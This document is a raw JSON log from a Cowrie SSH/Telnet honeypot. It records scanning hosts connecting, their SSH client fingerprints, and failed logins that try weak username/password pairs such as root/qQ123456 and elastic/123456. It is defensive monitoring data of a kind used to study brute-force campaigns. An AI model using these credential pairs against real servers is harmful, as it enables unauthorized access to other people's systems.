{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42872,"dst_ip":"10.17.0.5","dst_port":22,"session":"830cc171327d","protocol":"ssh","message":"New connection: 176.65.139.103:42872 (10.17.0.5:22) [session: 830cc171327d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:13.422797Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:13.555539Z","src_ip":"176.65.139.103","session":"830cc171327d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:13.559439Z","src_ip":"176.65.139.103","session":"830cc171327d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"elastic","password":"123456","message":"login attempt [elastic/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:14.190279Z","src_ip":"176.65.139.103","session":"830cc171327d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:15.284471Z","src_ip":"176.65.139.103","session":"830cc171327d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.562591552734375,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:16.066481Z","src_ip":"161.97.124.15","session":"4ad5f1985983","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.999082803726196,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:17.264838Z","src_ip":"161.97.124.15","session":"2e55109d5555","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":50732,"dst_ip":"159.203.135.109","dst_port":23,"session":"f283bda3e496","protocol":"telnet","message":"New connection: 161.97.124.15:50732 (159.203.135.109:23) [session: f283bda3e496]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:17.514186Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":42882,"dst_ip":"10.17.0.5","dst_port":22,"session":"eb23537a4299","protocol":"ssh","message":"New connection: 176.65.139.103:42882 (10.17.0.5:22) [session: eb23537a4299]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:20.543104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:20.556185Z","src_ip":"176.65.139.103","session":"eb23537a4299","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:20.626164Z","src_ip":"176.65.139.103","session":"eb23537a4299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.31302046775818,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:20.902329Z","src_ip":"213.136.75.179","session":"b8ef6cd0c3eb","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"botuser","password":"123","message":"login attempt [botuser/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:20.943995Z","src_ip":"176.65.139.103","session":"eb23537a4299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:22.028066Z","src_ip":"176.65.139.103","session":"eb23537a4299","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55739188194275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:24.103912Z","src_ip":"161.97.124.15","session":"42289b74bff2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":44262,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6e32b25834e","protocol":"ssh","message":"New connection: 176.65.139.103:44262 (10.17.0.5:22) [session: a6e32b25834e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:27.229889Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:27.234242Z","src_ip":"176.65.139.103","session":"a6e32b25834e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:27.328976Z","src_ip":"176.65.139.103","session":"a6e32b25834e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user1","password":"12345678","message":"login attempt [user1/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:27.591527Z","src_ip":"176.65.139.103","session":"a6e32b25834e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:28.758350Z","src_ip":"176.65.139.103","session":"a6e32b25834e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.520806074142456,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:30.089765Z","src_ip":"161.97.124.15","session":"19dc71e4cec1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.124.15","src_port":48274,"dst_ip":"159.203.135.109","dst_port":23,"session":"2bf84a906126","protocol":"telnet","message":"New connection: 161.97.124.15:48274 (159.203.135.109:23) [session: 2bf84a906126]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:30.569625Z"}
{"eventid":"cowrie.session.closed","duration":30.76905584335327,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:31.099078Z","src_ip":"161.97.124.15","session":"63703623b1c7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.84677505493164,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:31.206857Z","src_ip":"161.97.124.15","session":"0a4e4bd3cf34","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"52.231.220.210","src_port":51139,"dst_ip":"10.17.0.5","dst_port":22,"session":"e61ae2482bad","protocol":"ssh","message":"New connection: 52.231.220.210:51139 (10.17.0.5:22) [session: e61ae2482bad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:31.304907Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:31.309477Z","src_ip":"52.231.220.210","session":"e61ae2482bad","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:31.504906Z","src_ip":"52.231.220.210","session":"e61ae2482bad","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"junior","message":"login attempt [root/junior] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:32.319846Z","src_ip":"52.231.220.210","session":"e61ae2482bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:33.522531Z","src_ip":"52.231.220.210","session":"e61ae2482bad","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.287878274917603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:33.696639Z","src_ip":"161.97.124.15","session":"71478d7e52a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":37350,"dst_ip":"10.17.0.5","dst_port":22,"session":"806b21b2c5bc","protocol":"ssh","message":"New connection: 176.65.139.103:37350 (10.17.0.5:22) [session: 806b21b2c5bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:34.058431Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:34.115891Z","src_ip":"176.65.139.103","session":"806b21b2c5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.80210590362549,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:34.172651Z","src_ip":"161.97.124.15","session":"2fa7269fcd89","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:34.207135Z","src_ip":"176.65.139.103","session":"806b21b2c5bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qQ123456","message":"login attempt [root/qQ123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:34.665462Z","src_ip":"176.65.139.103","session":"806b21b2c5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:35.759633Z","src_ip":"176.65.139.103","session":"806b21b2c5bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.56305193901062,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:36.128409Z","src_ip":"161.97.124.15","session":"3ba9aa1444e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.979248762130737,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:37.069918Z","src_ip":"161.97.124.15","session":"90ddc972dd36","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41814947128296,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:37.101060Z","src_ip":"161.97.124.15","session":"f2bc9c44b50a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.184.144.220","src_port":45026,"dst_ip":"10.17.0.5","dst_port":22,"session":"7aa7eab77399","protocol":"ssh","message":"New connection: 202.184.144.220:45026 (10.17.0.5:22) [session: 7aa7eab77399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:37.945661Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:37.949612Z","src_ip":"202.184.144.220","session":"7aa7eab77399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.69170570373535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:38.050685Z","src_ip":"161.97.124.15","session":"02606862e9ef","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:38.191544Z","src_ip":"202.184.144.220","session":"7aa7eab77399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58100,"dst_ip":"159.203.135.109","dst_port":22,"session":"a3244b9734c2","protocol":"ssh","message":"New connection: 159.203.92.129:58100 (159.203.135.109:22) [session: a3244b9734c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:38.729222Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:38.733381Z","src_ip":"159.203.92.129","session":"a3244b9734c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:38.737333Z","src_ip":"159.203.92.129","session":"a3244b9734c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"111111","message":"login attempt [ansible/111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:38.746106Z","src_ip":"159.203.92.129","session":"a3244b9734c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.767815828323364,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:39.137820Z","src_ip":"161.97.124.15","session":"db94897772d4","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"test","password":"Test2026","message":"login attempt [test/Test2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T03:53:39.190950Z","src_ip":"202.184.144.220","session":"7aa7eab77399","protocol":"ssh"}
